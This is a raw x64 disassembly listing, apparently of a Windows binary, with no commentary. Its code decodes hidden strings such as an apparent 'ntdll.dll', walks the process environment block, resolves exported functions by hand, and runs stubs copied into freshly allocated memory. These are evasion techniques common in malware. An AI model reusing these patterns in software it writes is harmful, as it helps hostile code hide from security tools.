movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xbb8]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xbb9], dil
add r8, r11
add r9, 9
cmp r9, 0x5a
jb 0x140032fb3
xor r10d, r10d
mov byte [rbp + 0xbc2], r10b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140033375
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x1400330c7
lea r12d, [rax + 1]
mov r10d, r12d
mov r14, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x140033098
mov r14d, reloc.WS2_32.dll_socket
lea r12d, [r14 - 2]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140033123
mov rax, rcx
lea r9, [rbp + 0xbb9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14003311c
add rax, r11
test edx, edx
jne 0x140033107
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r8d, r8d
test dil, dil
jne 0x14003314a
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x28]
jne 0x14003304e
jmp 0x140033375
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140033375
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140033375
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140033375
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140033375
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r8
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x140033375
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0xb69]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400331db
inc rax
test edi, edi
jne 0x1400331c6
test r8d, r8d
je 0x1400331ee
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x1400331b5
jmp 0x140033375
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140033375
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
mov ecx, 1
cmp eax, ecx
jl 0x140033375
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x50], rax
call fcn.140094c90
or dword [rbp + 0x5e34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x4ab0]
call fcn.140036bc4
lea rcx, [rbp + 0x4ab0]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea r13d, [rax + 1]
lea rcx, [rbp + 0x4ab0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x43490], rax
add rdi, r13
cmp rdi, 0x200
jl 0x140033294
mov r13d, 0x1000
mov r8d, r13d
lea rdx, [rbp + 0x43490]
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x70]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe54], eax
lea r9, [rbp + 0xe54]
mov r8d, r15d
mov edx, r13d
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x60]
call rdi
lea r9, [rbp + 0xe54]
mov r8d, dword [rbp + 0xe54]
mov edx, r13d
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r13d
xor edx, edx
mov rcx, rdi
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
lea r13d, [rax + 0x10]
mov ecx, 0x1000
mov qword [rbp + 0xcf8], rcx
mov rax, qword [rbp - 0x78]
mov qword [rbp + 0xd18], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x80], rax
call fcn.140094f74
mov qword [rbp - 0x78], rax
mov r8, qword [rbp + 0xcf8]
xor edx, edx
mov rcx, rax
call fcn.1400bcba0
mov rax, qword [rbp + 0xcf8]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0xd18]
mov qword [rbp - 0x70], rax
mov edi, 3
mov byte [rbp + 0x668], dil
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x669], al
mov r9, rsi
lea r8d, [rdi - 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x66a], al
mov r9, rsi
lea r8d, [rdi - 1]
mov dl, 0x57
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x66b], al
mov r9, rsi
mov r8d, edi
mov dl, WSAStartup
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x66c], al
mov r9, rsi
lea r8d, [rdi + 1]
mov dl, 0x69
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x66d], al
mov r9, rsi
lea r8d, [rdi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x66e], al
mov r9, rsi
lea r8d, [rdi + 3]
mov dl, 0x65
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x66f], al
mov r9, rsi
lea r8d, [rdi + 4]
mov dl, 0x56
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x670], al
mov r9, rsi
lea r8d, [rdi + 5]
mov dl, 0x69
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x671], al
mov r9, rsi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x672], al
mov r9, rsi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x673], al
mov r9, rsi
lea r8d, [rdi + 8]
mov dl, 0x75
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x674], al
mov r9, rsi
lea r8d, [rdi + 9]
mov dl, 0x61
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x675], al
mov r9, rsi
lea r8d, [rdi + 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x676], al
mov r9, rsi
lea r8d, [rdi + 0xb]
mov dl, 0x4d
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x677], al
mov r9, rsi
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x678], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x679], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x67a], al
mov r9, rsi
lea r8d, [rdi + 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x67b], al
mov r9, rsi
lea r8d, [rdi + 0x10]
mov dl, 0x79
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + 0x67c], al
xor eax, eax
mov byte [rbp + 0x67d], al
mov edi, eax
lea r13d, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x669]
lea rcx, [rbp + 0x668]
call fcn.1400364e8
mov byte [rbp + rdi + 0x669], al
add rdi, r13
cmp rdi, rsi
jb 0x1400335f9
xor edi, edi
mov byte [rbp + 0x67d], dil
mov byte [rbp + 0x188], 0x78
lea r13d, [rdi + 9]
mov r9d, r13d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x188]
call fcn.140035cf8
mov byte [rbp + 0x189], al
mov r9d, r13d
lea esi, [rdi + 1]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x188]
call fcn.140035cf8
mov byte [rbp + 0x18a], al
mov r9d, r13d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x188]
call fcn.140035cf8
mov byte [rbp + 0x18b], al
mov r9d, r13d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x188]
call fcn.140035cf8
mov byte [rbp + 0x18c], al
mov r9d, r13d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x188]
call fcn.140035cf8
mov byte [rbp + 0x18d], al
mov r9d, r13d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x188]
call fcn.140035cf8
mov byte [rbp + 0x18e], al
mov r9d, r13d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x188]
call fcn.140035cf8
mov byte [rbp + 0x18f], al
mov r9d, r13d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x188]
call fcn.140035cf8
mov byte [rbp + 0x190], al
mov r9d, r13d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x188]
call fcn.140035cf8
mov byte [rbp + 0x191], al
xor eax, eax
mov byte [rbp + 0x192], al
lea r13d, [rdi + 0x10]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x189]
lea rcx, [rbp + 0x188]
call fcn.140035cf8
mov byte [rbp + rdi + 0x189], al
add rdi, rsi
cmp rdi, 9
jb 0x140033735
xor r9d, r9d
mov byte [rbp + 0x192], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea esi, [r9 + 0x14]
je 0x14003388c
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x14003380a
lea r14d, [rax + 1]
mov r10d, r14d
mov r12, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r14d
add rdx, r14
cmp rdx, r8
jl 0x1400337db
mov r14d, reloc.WS2_32.dll_socket
lea r12d, [r14 - 2]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140033866
mov rax, rcx
lea r9, [rbp + 0x189]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14003385f
add rax, r11
test edx, edx
jne 0x14003384a
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x140033df6
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x28]
jne 0x140033791
mov dword [rbp - 0x68], r9d
mov rcx, qword [rbp - 0x78]
call fcn.140094cf0
xor eax, eax
cmp dword [rbp - 0x68], eax
jl 0x140034286
mov byte [rbp + 0x258], 0x56
lea edi, [rax + 0x13]
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x259], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x25a], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x46
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x25b], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x25c], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x25d], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x25e], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x56
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x25f], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x260], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x261], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x262], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x263], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x61
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x264], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x265], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x4d
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x266], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x267], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x6d
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x268], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x269], al
mov r9d, edi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x26a], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x79
lea rcx, [rbp + 0x258]
call fcn.140036564
mov byte [rbp + 0x26b], al
xor eax, eax
mov byte [rbp + 0x26c], al
mov r8d, eax
mov r9d, edi
lea r10d, [rdi - 0x12]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x258]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x13]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x258]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x259], dil
add r8, r10
add r9, 0x13
cmp r9, 0x17c
jb 0x140033ac8
xor edi, edi
mov byte [rbp + 0x26c], dil
mov word [rbp + 0x198], 0x8133
lea r9d, [rdi + 9]
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x198]
call fcn.140035cf8
mov byte [rbp + 0x19a], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x198]
call fcn.140035cf8
mov byte [rbp + 0x19b], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x198]
call fcn.140035cf8
mov byte [rbp + 0x19c], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x198]
call fcn.140035cf8
mov byte [rbp + 0x19d], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x198]
call fcn.140035cf8
mov byte [rbp + 0x19e], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x198]
call fcn.140035cf8
mov byte [rbp + 0x19f], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x198]
call fcn.140035cf8
mov byte [rbp + 0x1a0], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x198]
call fcn.140035cf8
mov byte [rbp + 0x1a1], al
xor eax, eax
mov byte [rbp + 0x1a2], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x198]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x198]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x199], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x140033c48
xor r9d, r9d
mov byte [rbp + 0x1a2], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140033ddc
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x140033d5a
lea esi, [rax + 1]
mov r10d, esi
mov r14, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x140033d2c
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140033db6
mov rax, rcx
lea r9, [rbp + 0x199]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140033daf
add rax, r11
test edx, edx
jne 0x140033d9a
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x14003403a
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x28]
jne 0x140033ce3
mov eax, r9d
test eax, eax
js 0x140034286
mov r14d, 1
mov ecx, r14d
call fcn.14009bc48
int3
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14003388c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003388c
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14003388c
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14003388c
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14003388c
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x669]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140033e87
inc rax
test edi, edi
jne 0x140033e72
xor r9d, r9d
test r8d, r8d
je 0x140033e9d
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x140033e61
jmp 0x14003388c
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14003388c
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
mov ecx, 1
cmp eax, ecx
jl 0x14003388c
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x50], rax
call fcn.140094c90
or dword [rbp + 0x71c4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x5e40]
call fcn.140036bc4
lea rcx, [rbp + 0x5e40]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x5e40]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x44490], rax
add rdi, r12
cmp rdi, 0x200
jl 0x140033f43
mov r12d, 0x1000
mov r8d, r12d
lea rdx, [rbp + 0x44490]
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x70]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe80], eax
lea r9, [rbp + 0xe80]
mov r8d, r15d
mov edx, r12d
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x60]
mov r8, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x80]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe80]
mov r8d, dword [rbp + 0xe80]
mov edx, r12d
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r12d
xor edx, edx
mov rcx, rdi
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
lea r12d, [rax + 0x15]
jmp 0x140033890
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140033ddc
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140033ddc
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140033ddc
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140033ddc
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x140033ddc
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x259]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400340cb
inc rax
test edi, edi
jne 0x1400340b6
xor r9d, r9d
test r8d, r8d
je 0x1400340e1
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x1400340a5
jmp 0x140033ddc
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140033ddc
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
mov ecx, 1
cmp eax, ecx
jl 0x140033ddc
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x50], rax
call fcn.140094c90
or dword [rbp + 0x8554], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x71d0]
call fcn.140036bc4
lea rcx, [rbp + 0x71d0]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x71d0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x45490], rax
add rdi, r12
cmp rdi, 0x200
jl 0x140034187
mov r12d, 0x1000
mov r8d, r12d
lea rdx, [rbp + 0x45490]
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x70]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe7c], eax
lea r9, [rbp + 0xe7c]
mov r8d, r15d
mov edx, r12d
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x8000
lea r8, [rbp + 0xcf8]
lea rdx, [rbp + 0xd18]
mov rcx, qword [rbp - 0x80]
call rdi
mov dword [rsp + 0x70], eax
lea r9, [rbp + 0xe7c]
mov r8d, dword [rbp + 0xe7c]
mov edx, r12d
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r12d
xor edx, edx
mov rcx, rdi
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400e8364], r9d
lea r12d, [r9 + 0x15]
mov eax, dword [rsp + 0x70]
jmp 0x140033ddf
mov dword [rbp + 0xb80], 0xc9f7a7c
mov dword [rbp + 0xb84], 0x43da6dfd
mov word [rbp + 0xb88], 0xd42a
